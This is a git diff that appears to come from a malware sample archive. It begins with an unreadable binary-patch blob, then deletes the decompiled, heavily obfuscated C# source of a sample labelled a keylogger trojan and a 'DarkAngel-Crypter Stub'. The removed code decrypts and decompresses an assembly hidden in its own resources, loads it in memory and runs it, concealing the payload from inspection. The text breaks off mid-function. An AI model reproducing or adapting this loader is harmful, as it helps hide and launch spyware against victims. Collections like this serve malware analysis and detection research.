z>z@_jJ`Qij8o`MsGqjc@*(}$UD-R6iI+KXDuyp5Zh5ttIGrxI*8nm%P%Y8FCWPM)* zZandpD96)L%o-0HR?IftNpWc#&CZZ1MOKMVrBgF5O~=iPkPp z`8LY;a&M6DV z$Zhx)Px-1cvE-3LR@P0o8ut6uGblPKF@U0f2#ZrXIK+%xoPb*)6W@h{Fcok8Lkm@* zRBV3vU_TP6?KaN40WejV$Er_G)V)(7!Y5&s_wGF};x z2_m`OsB9eMnmuen_vj^!kEG}i6JXsw1g$nW9axDwi*AD?g&S|UW=W~+5h-*X`zqk@ zEgE-#7s#erj}+cVU{u79k3bm3!@Brfn~4td97ALdmmdp*Kwj7mlJ$;((P220(U?VC z?bY?h==Pe}^vFPXMV8WtGsocU(GvMIw)8^no(NJi__>mby>=+L{4I)Ij!hLV`m7VsV~zlfk# zzKP$JYCSvv@8hm1JEga}-q#{MaH+lnfTEhI5yEE>I< z+X3FI<-O%Uqw($9vF9cIc?|g5Gy=+ARalW{kVn`#d3EKpc)<;vX6ue&dNX4u3_%z>#& zCjiR@bsa>W$Ci?TA8jTLzqsP8L78^(^)Jx3kZd%85R)^skXTPlIli)p4goQmvNq+StAQWE}AYpr4zbWJrvataxO8Qj+ZSWlW^S$cLP0#KVs%XokO=z1` zZ+r^#w%X8yK&_&=n@zIkdt`Wvk}UOF+4NjIzGjrHjeWwv0C5~P&XvD@JDqLlsD`mA zaLf!|Upt1V>UA=4ZTV^kD zi7u*sdSGL;J#}0S) zn<)ZofD4At8lFZ?L9=OG?1bN%)qu{UT!Bj!Oqi6|L14-a=fO7F>uf+|EA$#q2TCsM zj%wsi7ccj^E?orZ3#u-WXP7&UqR%VhvP%^(`XqHrQq+JC*pQ`}y#?_T7zhg7MLIlI zb^R1o6;~3u?($V)fAL2O{ZZxJC+!lQ)p@+C*%85gwKvNNC=XF6pCnWu*BG;+>;Faj zl~^`C#;`66VW$DVTH^^NLphB}!+XeNDqiL0Iu7*%#Q^x~Ts8bv1Jb4hb#MD^)T%D< zhP>d7Q_iTq2i;XF{UlWmX!RRpZ5udOrJ(wj-_EX*uan?X=_ZC~3xZf9vS@@=zrb$%{tA&JCP6~XYz|BYO9H;mHm9JjnE06AO^D4 zCWSUmw*urEM(=qy<6=2MGc^SYKWuht&nWwjK`8unptjS!{zar9om|xd3+c-LoPiC& z!dU^9L|F0H1JLS%s-MYp6LrxfYFp9-%S0FdGgO~Y)K zdFb)SD0ojID&jSoU#ao*r12oE;ROYw^;4PO*tlG#S7PK^>#eIy0~X`n6DhLreWfKy zqq9aRJB9TS>aWGwBw~gsK1Egvl&e|pY1b=w%2%m*hwIP}ss;;2*CM}L{T9@a`6lcI^Yrj;GEDW5Y&SR^TOdB3 zD$3F%@2bu(GB@&!MRiHe)k)aCK~8fdxQ7p*7YOl#m;^L}-46xd3>(O)&6cGitH@;S znS1le8*P@*8DEnp_VmlUpX2Ng=MJRtoM?^`Z#3;bnotc_GTS~#-YBMbpSRO|3sQNN zOgBWC;|Bw3Sl&}ivshE+W!F4st&Ibyysvlu!d~T0Ge-gyX0#J58F(~MjN?UG7Va+T zAv|Kk^96}Ma&UsSLnPR*V&TJV4Kbre1HRfl3S*2&wt|IA` z3A_rhSo;EMWkAcI8HU9uN1dG`(-YLLm37R`Ks1;5NR{-T)ZGDv~vDmVSeV+6k@kn`Ik`LA= z#u2@Bo;W6q3fqKBoA`mce!t)?c4j2>=xcx|$Dg08ffHX;rI1ETsuWETXwUtKk@)@!;fwNw#b^fUX(jS=E zTk-m_&pV5MaDZQ;OY}?B9d`U8u=mK%^ApjU`m{laOa8Mi?H1u0yMbyGn4PYNk3*rP zuxVo{cYnj#v|XQ81#_jyS;RasO8Q+-91BVEN<8wO=??L2OTL+A1H1py3QU4;CHf4r zsbXP+_ZQY}83OEBIG&+TDQwWxJHf7fIz4o2YlE!_*e#Zp2ROExGW7x#Ji`jB8Vj~l zo?S&qvHE7nLlShYcSkGbv~w89QhN|}nOm$wI+83x%s42?7@Gy8k(OUH6t9^&*h`g4 zN%RBrG50u00DGk_m+2DG)DnS5HC$tHidDG&_#h*~Nz#wss%+b(R?)jgZyNuXf87VX zedxZm>}xetM>0qKu-0B;mq;@3*wj33^eQTwZ8j|nCiK-%6pw827HOo79+Qb@lHOnE z%7|;d5SsaN?0lY5iQ1`pQPpz7TYQy=vj-BheCB>V6@A9b$D*wyW5lXMQ_iN0GQ8I&Q-4jC~V^V&JvMi`L9#ZZW*iRbZLHbr=KPNrtP2AwF#*RzNdzUPh^D6#RNlZh#+c?5VR zINZ1mYHU>!ra|^5x%W5BT=|HYL6@i$76-vT_*U8Fah_91QI!UnN0>PC@53lxLTEjA0RAD1&ig!Kb&ONxPnQyXDwAA>CHS+rEeW;cz2)syoN z@TFNuL)c~!L_YXUt2{vZH@OkaaL=iLa`pK~0L9V!cR+Bu2RDGPZg61_Hse*ofH^O= zqZq#uy|=n!B^+i}`|)7OiF_l{gjo3Gm$jjenp!OITi1p_q87YIVw#5zYlm3=Jo4i{ z<#{uV^SQfMn*8}=n7D+G5IZI*-9Ka+}P3K1(zYnh2or>o7Rv#}RQXmU4=uJ3G0tJuOW{4xGbIz`7vcZHYgB3%Lzg7w0v*W$otXfT+axg1B+cMR$2y z%^|E?>TrA}l3@5Qj;XNP+|Vs&DVFW9bwW5PY7aij_%CbK#atYRx9EJ_ zrl)S@MbjZ$X{^VK5kg(zo(({2Rn^#$YGsuj^4Hvj_%vm?{F*yTrwb-xrg*OhsEGCK zE=p-ia!I~{aPIlSVg_OoA^)$~K(!O|>GSzE<#-yR@x*aNoLeqhyMe04`xCg81Zwb> z2_#miRxi6;BSQNOA%f3N1EBcf=XoFEJSgd!M zGiw<6Ai}aaeig-!)u|U!ca(@m_^}te?e)+s!HZk)8pm%(1>yE@kg?XQHWUM#68fyr zK5(HECZ|L_4PT-p+21IoQ0FQj1G3B!xI1zQFSyK6rrMmG5E{b?@^Jw(7!dL7+XKhr ze!<`Rj|wJRdHH3gBH3kmSzMQs?z+B{w&mFm2WS1V{6{egR;ng*JxNW_(u;}tcQ@J$ zc^|4D3#>op6_4oPq;2|Iy)am$o>!BtyRBtRLz=0TGS^fyBKcyVjt-0IK}UaL2hE|_ zA)j{HLIprMauGIlX>f<}d=m4ioLLcHdviMaCeUbpF;(D*lKXRej3 z7vuKF?jskuYP)YHP|I^m?^q2*Oy&W4EodjKLQ8>vlD|F%X6FYOd1-M)IUF_O0 zBuWJ+gi(`7NKK1#9MpylJ&OR{SbU$4v{)gwiFR69eXHq@PbBYzk(WZ=I=tTqgS@>y^Pe1(=llb z6Cv=l@UHyQ+F0aH6_Ln9GWh~lP=G4>|~8kr6g&t?3f zi&_v(c)&ZEH=#e?jrQ?>Y;D5|{dOHNjH2)WtFqL_Ak6|r80KBR`&8<5n}#$$O!l?7 zgOUBA?{o03(m4ro4vIB`W_1HnM5Ku`{`;1wh8u7BETnwyE`~{na@S(JZ~${H zMYb0_zyVj@KT5)2MAeI>PgUTRG2pdPkMF=F+yo#bDUT(dy zWC|)pOhy$~RtEe~I*&awtPPVM$Lw>!4P#G}tkSyLjFB~X6VidY&EX4gbLWtZu!vX9 zX%RSb1p{-disq}4UKM(9t2xvy@jWi#J==u~Oil6lP6`=mtq01evaDe(Jhkht&AHn4(C87EzynLa#te zC2aXkEwO&?(okli8+|3smW4h-NSwwWl<0WBEaB)`Rl-r5=^Si0}{2ssJ~a z>;gE3(q+8RWLLaLR=^!>n!qBp(9}n*l7}dfo=12-DkYgB!=Kd}?r#8h{&t--fSPOE z(`LLW0Kriok!ll2r?YJkr-m@FjcCfc3Nd9srs5>e2*@;S1fs!L>vS3UbuEDh0~}3d zi7Fu<6u9Wt4tQYBEna#0QDabdt!!4kmXMCOZzt9o!Kpu@nBoBI<@f1X8a1≫L7o zKGE=ZuLqH#nL84}1$H_Tk4}%ogQP-J?UNG8wJP1AtyyVsd#~2(k$bg9Hf|0l2w2Q1d3CRR9IXR@+ zeR8Q|<9$?WsoJi>O4i+Hs6EHWH`Pn@AV&hSFZjm1W%2EUeq~gVF`rfSR*tCsZxBsLGwX?KH*pvYCdtxr7OdjJI;@Jq*KT>Rgv%LrjEv7p#R_ka1{kBjCS=sE-#y}n5 zkj15)<|AZGLB_>(p$OHDM?34iO44QBT!Z@9F@{SOvl{xASHyYRI3w}%EOpK9}$a3Nd+NSu9VY6c%aYA>f~u@dcyiW*qM4oU2yuFd3t2+AYQ zj^bMF9Mf6or1MRsf(@akgzS#DX*pCwRPZ2VZ z=mv%sX4%FZiT$5JlB!G+cU=Z%v<*#Hok9aEsV)6y5C}k zNUBTxKl5}HV+GEe>{@H#jB2Fz)%e)RN>AK;kgf2ErOao7lQeo3sk?}Ry@^}t^&`z9 z%(#BePcHja5Uju)Kn|28VbAlK^{9E%AvFk@Q~rZOC#+hL1^#{8hbJLt_L752!e}*c zq~dY4mp4(B%@%56l*jssMztF73Q{JWy5p)SD_#=!s>^e9HF7G@W}7`1vk)C&rq(A7tr7HfbWTJLL?W2aP?CqV zkOP~YWQ660nb=<%yM}a=-o!knjqJ*Z$AF$2zakqB8)pv#X#{N@S#=%?nHvr+6XZ9T zCm5v>!WqcSsL%b!qX8G&?dSF`)8UEurPU7iMZoE^*y*{`CFjA}&hhjL*VdJqBD^fj4!qB(XE@VM;fzx;aj-nW9eqJCU&bv?pa_nN zXC_o;&jbbnz#M>%0g5WElqA1^a)HnmAEz4~iVFY94ZT_kNMQ*sIS0Vb*I#qB{X@E!-xlsNKez12E z_551eXo`P=D^d$VyU)0DGr(C}(eKm_^GZZoe_O*0 z!J^m-+URlDNJmGSOH=j--A`voS#nW4RJM3fN-AC42}~nNC`1rEmxq$Gs)LrFogI~p zi^0+k-G}ajs!YC&x`mE?fOtQTDTg2n>*7`oK?QBLU83{ zx96pzzrxGwyXPfs>EZEax8_Lel%)LZ`Iyk?CPsgIR(Iv!5}`ggx}Gh)xH@7s3miS( zIcGi=y)u>&xN+du^~KYG-BB6y+*6dr(ClA33aGFul9Vj*4=HIQY4*=`+)D1ss2opF zO<7y&t%xs(jmn13wTKdhh!+VJ3JCNw%<*sp3iX0kdYM>lk_uG|-@Rqx0KxlGer)eC^Nx(Nf<} z$wkX!lSYE|%OK|g2T7hr^TcL+QfmDy59~{9Rafk(R}PmNnNOdcom1JFQHufA7lsaC zOGQq>+CrhkNZe7Ui?)m-l~IcHj8Un?!ia|fPYFw|iEs%)fhU4E39OCr{dmdqee?SH z&360ep*EZTcA97I9LoIa_(s{_gmFJ&)*FA*HlpS4R>*4Af?E8d>GW$9#+>G8Z^-t? zV0eC~EYGJ`4^(dB0n1@|W{W;J{xobQVnqQ&T}xRhWj;_|%~!Ht=FeJ-Sn_e=;Y>Jv z9DV6UC|-DVXdrF?b3vfjk5#t)fhVJzNDGfwr^BM1GN%W#6~ee*sgeG{?*U`pZv|By znTd-RwMS*EMU~)LLo!$+Y`Lu!vHTU>L3LVw${0WJ5O=O3*7?WC*&%t?=$sjK@&elv z;Qi&=p+L&8=Tv7y7=rvgMqW8kaz;=JSO^kiVr5A1H6V~G5c#w7#FZ_d7n_wK2WQIX z`-=s0S6l0c<#ANw3x`ASLaGCt!0oLq=uKqR;*?^=xEuz#%fsiG-NYvzu}F z+EKW{ynPVMMZy8T*;Zk3uY&)`hpthBsFP>*VcicFd*5}_zDB0j0G!b$;kM~ Y_OkYwa6R6z;RrBcu+eTVuaFS`3+J}W#sB~S diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.qqc-8459fc94f3d58ee15579a5804217b56ce046b6ec56620a3633c9f389d220cbc2/AssemblyInfo.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.qqc-8459fc94f3d58ee15579a5804217b56ce046b6ec56620a3633c9f389d220cbc2/AssemblyInfo.cs deleted file mode 100644 index e7e04d89..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.qqc-8459fc94f3d58ee15579a5804217b56ce046b6ec56620a3633c9f389d220cbc2/AssemblyInfo.cs +++ /dev/null @@ -1,13 +0,0 @@ -using System.Reflection; -using System.Runtime.CompilerServices; - -[assembly: AssemblyCompany("")] -[assembly: SuppressIldasm] -[assembly: AssemblyProduct("DarkAngel-Crypter Stub")] -[assembly: AssemblyCopyright("Copyright © 2011")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyTitle("DarkAngel-Crypter Stub")] -[assembly: AssemblyFileVersion("1.0.0.0")] -[assembly: AssemblyDescription("RPX 1.3.4399.43191")] -[assembly: AssemblyVersion("1.0.0.0")] diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.qqc-8459fc94f3d58ee15579a5804217b56ce046b6ec56620a3633c9f389d220cbc2/T40.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.qqc-8459fc94f3d58ee15579a5804217b56ce046b6ec56620a3633c9f389d220cbc2/T40.cs deleted file mode 100644 index e22007df..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.qqc-8459fc94f3d58ee15579a5804217b56ce046b6ec56620a3633c9f389d220cbc2/T40.cs +++ /dev/null @@ -1,1050 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: N6.T40 -// Assembly: stub7, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: A1C75A54-DF7D-4296-B346-B1DAFCC940B9 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Spy.MSIL.KeyLogger.qqc-8459fc94f3d58ee15579a5804217b56ce046b6ec56620a3633c9f389d220cbc2.exe - -using System; -using System.Collections.Generic; -using System.IO; -using System.IO.Compression; -using System.IO.Packaging; -using System.Reflection; -using System.Runtime.InteropServices; -using System.Security.Policy; -using System.Windows.Forms; - -namespace N6 -{ - internal static class T40 - { - private static Assembly M184(Package Ⴃ, string Ⴅ) - { - Uri A_1 = new Uri(Ⴅ, UriKind.Relative); - Stream A_0 = T44.M206(T44.M205(Ⴃ, A_1, 367, 364), 683, 651); - byte[] numArray; - try - { - numArray = new byte[(int) T40.T43.M197(A_0, 530, 574)]; - T40.T43.M198(A_0, numArray, 0, numArray.Length, 87, 86); - } - finally - { - int num = 3; - while (true) - { - switch (num) - { - case 0: - case 2: - goto label_6; - case 1: - goto label_5; - default: - num = A_0 == null ? 0 : 1; - continue; - } - } -label_5: - A_0.Dispose(); -label_6:; - } - int num1 = 5; - Assembly assembly; - while (true) - { - switch (num1) - { - case 0: - num1 = (object) assembly != null ? 3 : 1; - continue; - case 1: - case 2: - case 4: - goto label_11; - case 3: - goto label_12; - default: - assembly = T40.T41.M193(numArray, 942, 927); - goto case 0; - } - } -label_11: - throw new ArgumentException(T40.T41.M192(1305315789, 6) + Ⴅ); -label_12: - return assembly; - } - - [STAThread] - private static void M185(string[] Ⴀ) - { - T40.T41.M195(); - try - { - switch (0) - { - default: - // ISSUE: type reference - Stream A_0_1 = T44.T45.M210(T44.T45.M209(T40.M186(__typeref (T40), 322, 264), 308, 361), T40.T41.M192(1305315794, 5), 637, 627); - try - { - switch (1) - { - default: - Package Ⴃ = T44.T45.M211(A_0_1, FileMode.Open, FileAccess.Read, 702, 749); - try - { - Assembly A_0_2; - switch (4) - { - case 3: - T40.T43.M199((MethodBase) T44.T45.M212(A_0_2, 145, 186), (object) null, new object[1] - { - (object) Ⴀ - }, 568, 633); - break; - default: - A_0_2 = T40.M184(Ⴃ, T40.T41.M192(1305315821, 2)); - goto case 3; - } - } - finally - { - int num = 4; - while (true) - { - switch (num) - { - case 0: - goto label_12; - case 2: - case 5: - goto label_11; - default: - num = Ⴃ == null ? 0 : 5; - continue; - } - } -label_11: - ((IDisposable) Ⴃ).Dispose(); -label_12:; - } - switch (1) - { - } - break; - } - } - finally - { - int num = 4; - while (true) - { - switch (num) - { - case 0: - case 6: - goto label_18; - case 1: - case 5: - goto label_19; - default: - num = A_0_1 == null ? 5 : 6; - continue; - } - } -label_18: - A_0_1.Dispose(); -label_19:; - } - switch (2) - { - } - break; - } - } - catch (Exception ex) - { - string[] strArray = new string[5] - { - T44.M207((MemberInfo) T40.T41.M194(ex, 442, 497), 63, 22), - null, - null, - null, - null - }; - int num1 = 4; - while (true) - { - switch (num1) - { - case 0: - case 3: - strArray[3] = T40.T41.M192(1305315834, 0); - strArray[4] = ex.StackTrace; - num1 = 5; - continue; - case 1: - case 5: - goto label_26; - case 2: - goto label_28; - default: - strArray[1] = T40.T41.M192(1305315839, 5); - strArray[2] = ex.Message; - num1 = 0; - continue; - } - } -label_26: - int num2 = (int) MessageBox.Show(string.Concat(strArray)); - } -label_28: - switch (2) - { - } - } - - internal static System.Type M186(RuntimeTypeHandle A_0, int A_1, int A_2) - { -label_3: - int num1; - switch (A_2 ^ A_1) - { - case 74: - num1 = 4; - break; - default: - num1 = 6; - break; - } - int num2 = num1; - while (true) - { - switch (num2) - { - case 0: - goto label_3; - case 1: - case 6: - num2 = 0; - continue; - case 3: - num2 = 0; - continue; - case 4: - case 7: - goto label_8; - default: - // ISSUE: method reference - RuntimeMethodHandle runtimeMethodHandle = __methodref (T40.M186); - num2 = 0; - continue; - } - } -label_8: - return System.Type.GetTypeFromHandle(A_0); - } - - internal static Assembly M187(int A_0, int A_1) - { -label_0: - switch ((A_1 ^ A_0) - 17) - { - case 0: - return Assembly.GetExecutingAssembly(); - default: - goto label_0; - } - } - - internal static long M188(Stream A_0, int A_1, int A_2) - { -label_0: - switch ((A_2 ^ A_1) - 14) - { - case 0: - return A_0.Length; - default: - goto label_0; - } - } - - internal static int M189(Stream A_0, byte[] A_1, int A_2, int A_3, int A_4, int A_5) - { -label_0: - switch ((A_5 ^ A_4) - 63) - { - case 0: - return A_0.Read(A_1, A_2, A_3); - case 1: - return A_0.Read(A_1, A_2, A_3); - default: - goto label_0; - } - } - - internal static Evidence M190(Assembly A_0, int A_1, int A_2) - { -label_0: - switch ((A_2 ^ A_1) - 98) - { - case 0: - return A_0.Evidence; - default: - goto label_0; - } - } - - internal sealed class T41 - { - private static readonly char[] Ⴄ; - private static readonly char[] Ⴐ; - private static readonly string[] Ⴃ; - internal static T40.T41.T42 Ⴓ; - private static bool Ⴗ; - - static T41() - { - int num = 2; - char[] chArray; - while (true) - { - switch (num) - { - case 0: - chArray[7] = '\u248C'; - goto case 5; - case 1: - goto label_7; - case 3: - goto label_8; - case 4: - chArray[2] = 'ḙ'; - chArray[1] = '⾼'; - chArray[4] = '㊝'; - num = 6; - continue; - case 5: - chArray[0] = '◜'; - num = 1; - continue; - case 6: - chArray[3] = '\u0AD2'; - goto case 0; - default: - T40.T41.Ⴐ = new char[53] - { - char.MinValue, - '\u0019', - char.MinValue, - '▉', - '⿒', - 'Ṹ', - 'ર', - '㋱', - '\u1715', - '⬘', - '\u24F8', - '△', - '⾜', - 'ṵ', - 'ઽ', - '㋼', - '᜔', - '⬘', - '\u24ED', - '▯', - '⿏', - 'Ṽ', - 'િ', - '\u32FF', - '\u171C', - '⭁', - 'Ⓐ', - '◼', - '\u0001', - '\u0005', - char.MinValue, - '\u2FDD', - 'ḷ', - 'ન', - '㋴', - 'ᜀ', - '\u0002', - '\n', - char.MinValue, - 'Ḷ', - 'ડ', - '㋩', - 'ᜅ', - '⭚', - 'Ⓕ', - '◲', - '\u2FD9', - 'ṡ', - 'ષ', - '\u0003', - '\u0001', - char.MinValue, - '\u0AD8' - }; - chArray = new char[8] - { - char.MinValue, - char.MinValue, - char.MinValue, - char.MinValue, - char.MinValue, - char.MinValue, - '⬸', - char.MinValue - }; - num = 4; - continue; - } - } -label_8: - return; -label_7: - chArray[5] = 'ᝰ'; - T40.T41.Ⴃ = new string[4]; - T40.T41.Ⴄ = chArray; - } - - internal static Assembly M191(object sender, ResolveEventArgs args) - { -label_3: - string A_1_1 = T44.M208(1305315779, 8); -label_4: - string str = A_1_1; - string A_1_2 = T40.T43.M200((object) str, (object) '1', 535, 627); - int num1 = 8; - AppDomain A_0_1; - Dictionary A_2; - Assembly A_0_2; - Stream A_0_3; - byte[] numArray; - int num2; - int index1; - while (true) - { - switch (num1) - { - case 0: - case 12: - numArray[index1] ^= (byte) (index1 + num2 & (int) byte.MaxValue); - num1 = 6; - continue; - case 1: - goto label_4; - case 2: - if (A_2 == null) - { - num1 = 9; - continue; - } - goto label_38; - case 3: - A_0_2 = T40.M187(524, 541); - A_0_3 = T44.T45.M213(A_0_2, A_1_1, 676, 753); - num1 = 4; - continue; - case 4: - num1 = A_0_3 != null ? 10 : 13; - continue; - case 5: - num1 = index1 < numArray.Length ? 0 : 11; - continue; - case 6: - ++index1; - num1 = 5; - continue; - case 8: - case 16: - A_0_1 = T40.T43.M201(931, 923); - A_2 = (Dictionary) T40.T43.M202(A_0_1, A_1_2, 440, 408); - num1 = 2; - continue; - case 9: - A_2 = new Dictionary(); - T40.T43.M203(A_0_1, A_1_2, (object) A_2, 176, 161); - num1 = 3; - continue; - case 10: - numArray = new byte[T40.M188(A_0_3, 431, 417) - 1L]; - num1 = 15; - continue; - case 11: - goto label_18; - case 13: - goto label_11; - case 14: - index1 = 0; - num1 = 5; - continue; - case 15: - num2 = T40.T41.M196(A_0_3, 620, 559); - T40.M189(A_0_3, numArray, 0, numArray.Length, 435, 396); - num1 = 14; - continue; - case 17: - goto label_3; - default: - // ISSUE: method reference - RuntimeMethodHandle runtimeMethodHandle = __methodref (T40.T41.M191); - num1 = 17; - continue; - } - } -label_11: - return (Assembly) null; -label_18: - MemoryStream A_0_4 = new MemoryStream(); - DeflateStream A_0_5 = new DeflateStream((Stream) new MemoryStream(numArray), CompressionMode.Decompress, true); - try - { - int num3 = 6; - byte[] A_1_3; - int A_3; - while (true) - { - switch (num3) - { - case 0: - case 4: - num3 = (A_3 = T40.M189((Stream) A_0_5, A_1_3, 0, A_1_3.Length, 592, 528)) > 0 ? 5 : 2; - continue; - case 2: - goto label_29; - case 5: - T44.T45.M214((Stream) A_0_4, A_1_3, 0, A_3, 63, 117); - goto case 0; - default: - A_1_3 = new byte[1024]; - num3 = 4; - continue; - } - } - } - finally - { - int num4 = 4; - while (true) - { - switch (num4) - { - case 0: - case 3: - goto label_27; - case 1: - goto label_28; - default: - num4 = A_0_5 == null ? 1 : 3; - continue; - } - } -label_27: - A_0_5.Dispose(); -label_28:; - } -label_29: - int num5 = 7; -label_30: - Assembly data; - string[] manifestResourceNames; - int index2; - while (true) - { - switch (num5) - { - case 0: - case 9: - goto label_40; - case 1: - A_0_1.SetData(str, (object) data); - manifestResourceNames = data.GetManifestResourceNames(); - goto case 11; - case 2: - goto label_38; - case 3: - goto label_41; - case 4: - ++index2; - num5 = 8; - continue; - case 5: - string key = manifestResourceNames[index2]; - A_2[key] = key; - goto case 4; - case 8: - num5 = index2 < manifestResourceNames.Length ? 5 : 12; - continue; - case 10: - num5 = !A_2.ContainsKey(args.Name) ? 3 : 0; - continue; - case 11: - index2 = 0; - num5 = 8; - continue; - case 12: - num5 = 10; - continue; - default: - data = T40.T43.M204(T44.T45.M215(A_0_4, 622, 570), (byte[]) null, T40.M190(A_0_2, 821, 855), 856, 870); - num5 = 1; - continue; - } - } -label_40: - return data; -label_41: - return (Assembly) null; -label_38: - data = (Assembly) A_0_1.GetData(str); - num5 = 10; - goto label_30; - } - - internal static string M192(int A_0, int A_1) - { -label_3: - int index1 = A_0 ^ 1305315787 ^ A_1; - char[] ⴐ = T40.T41.Ⴐ; - int index2 = (int) ⴐ[index1]; - int num1 = 5; - string str1; - int length1; - char[] chArray; - char[] ⴄ; - int length2; - int index3; - while (true) - { - switch (num1) - { - case 0: - chArray[index3] = (char) ((uint) ⴐ[index1 + index3] ^ (uint) ⴄ[(index3 + index2) % length2]); - num1 = 4; - continue; - case 1: - case 12: - int num2 = (int) ⴐ[index1 + 1]; - length1 = ((int) ⴐ[index1 + 2] << 16) + num2; - num1 = 10; - continue; - case 2: - index3 = 0; - num1 = 8; - continue; - case 3: - goto label_5; - case 4: - index3 = 1 + index3; - num1 = 8; - continue; - case 5: - num1 = (str1 = T40.T41.Ⴃ[index2]) == null ? 1 : 3; - continue; - case 6: - goto label_12; - case 8: - num1 = index3 < length1 ? 0 : 6; - continue; - case 9: - case 10: - case 11: - chArray = new char[length1]; - ⴄ = T40.T41.Ⴄ; - length2 = ⴄ.Length; - index1 += 3; - num1 = 2; - continue; - case 13: - goto label_3; - default: - // ISSUE: method reference - RuntimeMethodHandle runtimeMethodHandle = __methodref (T40.T41.M192); - num1 = 13; - continue; - } - } -label_5: - return str1; -label_12: - string str2 = new string(chArray); - T40.T41.Ⴃ[index2] = str2; - return str2; - } - - internal static Assembly M193(byte[] A_0, int A_1, int A_2) - { -label_3: - int num1; - switch (A_2 ^ A_1) - { - case 49: - num1 = 2; - break; - default: - num1 = 7; - break; - } - int num2 = num1; - while (true) - { - switch (num2) - { - case 0: - case 2: - case 4: - goto label_8; - case 3: - goto label_3; - case 5: - num2 = 3; - continue; - case 7: - num2 = 3; - continue; - default: - // ISSUE: method reference - RuntimeMethodHandle runtimeMethodHandle = __methodref (T40.T41.M193); - num2 = 3; - continue; - } - } -label_8: - return Assembly.Load(A_0); - } - - internal static System.Type M194(Exception A_0, int A_1, int A_2) - { -label_3: - int num1; - switch (A_2 ^ A_1) - { - case 75: - num1 = 2; - break; - default: - num1 = 1; - break; - } - int num2 = num1; - while (true) - { - switch (num2) - { - case 0: - num2 = 5; - continue; - case 1: - num2 = 5; - continue; - case 2: - goto label_8; - case 4: - case 5: - goto label_3; - default: - // ISSUE: method reference - RuntimeMethodHandle runtimeMethodHandle = __methodref (T40.T41.M194); - num2 = 5; - continue; - } - } -label_8: - return A_0.GetType(); - } - - internal static void M195() - { - int num1 = 3; - while (true) - { - switch (num1) - { - case 0: - case 1: - case 4: - goto label_4; - default: - if (!T40.T41.Ⴗ) - { - num1 = 4; - continue; - } - goto label_11; - } - } -label_11: - return; -label_4: - lock (typeof (T40.T41)) - { - int num2 = 1; - while (true) - { - switch (num2) - { - case 0: - T40.T41.Ⴗ = true; - goto case 5; - case 2: - num2 = 4; - continue; - case 4: - goto label_13; - case 5: - AppDomain.CurrentDomain.ResourceResolve += new ResolveEventHandler(T40.T41.M191); - goto case 2; - default: - num2 = T40.T41.Ⴗ ? 4 : 0; - continue; - } - } - } -label_13: - int num3 = 0; - while (true) - { - switch (num3) - { - case 1: - goto label_17; - case 2: - goto label_18; - case 4: - // ISSUE: method reference - RuntimeMethodHandle runtimeMethodHandle = __methodref (T40.T41.M195); - num3 = 1; - continue; - case 5: - goto label_19; - default: - num3 = 1; - continue; - } - } -label_17: - return; -label_18: - return; -label_19:; - } - - internal static int M196(Stream A_0, int A_1, int A_2) - { -label_0: - switch ((A_2 ^ A_1) - 67) - { - case 0: - return A_0.ReadByte(); - default: - goto label_0; - } - } - - [StructLayout(LayoutKind.Explicit, Size = 106, Pack = 1)] - private struct T42 - { - } - } - - internal sealed class T43 - { - internal static long M197(Stream A_0, int A_1, int A_2) - { -label_3: - int num1; - switch (A_2 ^ A_1) - { - case 44: - num1 = 5; - break; - default: - num1 = 2; - break; - } - int num2 = num1; - while (true) - { - switch (num2) - { - case 0: - case 7: - goto label_3; - case 1: - num2 = 7; - continue; - case 2: - case 3: - num2 = 7; - continue; - case 4: - case 5: - goto label_8; - default: - // ISSUE: method reference - RuntimeMethodHandle runtimeMethodHandle = __methodref (T40.T43.M197); - num2 = 7; - continue; - } - } -label_8: - return A_0.Length; - } - - internal static int M198(Stream A_0, byte[] A_1, int A_2, int A_3, int A_4, int A_5) - { -label_3: - int num1; - switch (A_5 ^ A_4) - { - case 1: - num1 = 7; - break; - default: - num1 = 2; - break; - } - int num2 = num1; - while (true) - { - switch (num2) - { - case 1: - num2 = 4; - continue; - case 2: - case 6: - num2 = 4; - continue; - case 3: - case 4: - goto label_3; - case 5: - case 7: - goto label_8; - default: - // ISSUE: method reference - RuntimeMethodHandle runtimeMethodHandle = __methodref (T40.T43.M198); - num2 = 4; - continue; - } - } -label_8: - return A_0.Read(A_1, A_2, A_3); - } - - internal static object M199(MethodBase A_0, object A_1, object[] A_2, int A_3, int A_4) - { -label_3: - int num1; - switch (A_4 ^ A_3) - { - case 65: - num1 = 7; - break; - default: - num1 = 3; - break; - } - int num2 = num1; - while (true) - { - switch (num2) - { - case 0: - case 2: - case 4: - goto label_3; - case 1: - case 6: - num2 = 0; - continue; - case 3: - num2 = 0; - continue; - case 7: - goto label_8; - default: - // ISSUE: method reference - RuntimeMethodHandle runtimeMethodHandle = __methodref (T40.T43.M199); - num2 = 0; - continue; - } - } -label_8: - return A_0.Invoke(A_1, A_2); - } - - internal static string M200(object A_0, object A_1, int A_2, int A_3) - { -label_0: - switch ((A_3 ^ A_2) - 100) - { - case 0: - return A_0.ToString() + A_1; - default: - goto label_0; - } - } - - internal static AppDomain M201(int A_0, int A_1) - { -label_0: - switch ((A_1 ^ A_0) - 56) - { - case 0: - return AppDomain.CurrentDomain; - default: - goto label_0; - } - } - - internal static object M202(AppDomain A_0, string A_1, int A_2, int A_3) - { -label_0: - switch ((A_3 ^ A_2) - 32) - { - case 0: - return A_0.GetData(A_1); - default: - goto label_0; - } - } - - internal static void M203(AppDomain A_0, string A_1, object A_2, int A_3, int A_4) - { -label_0: - switch ((A_4 ^ A_3) - 17) - { - case 0: - A_0.SetData(A_1, A_2); - break; - default: - goto label_0; - } - } - - internal static Assembly M204( - byte[] A_0, - byte[] A_1, - Evidence A_2, - int A_3, - int A_4) - { -label_0: - switch ((A_4 ^ A_3) - 62) - { - case 0: - return 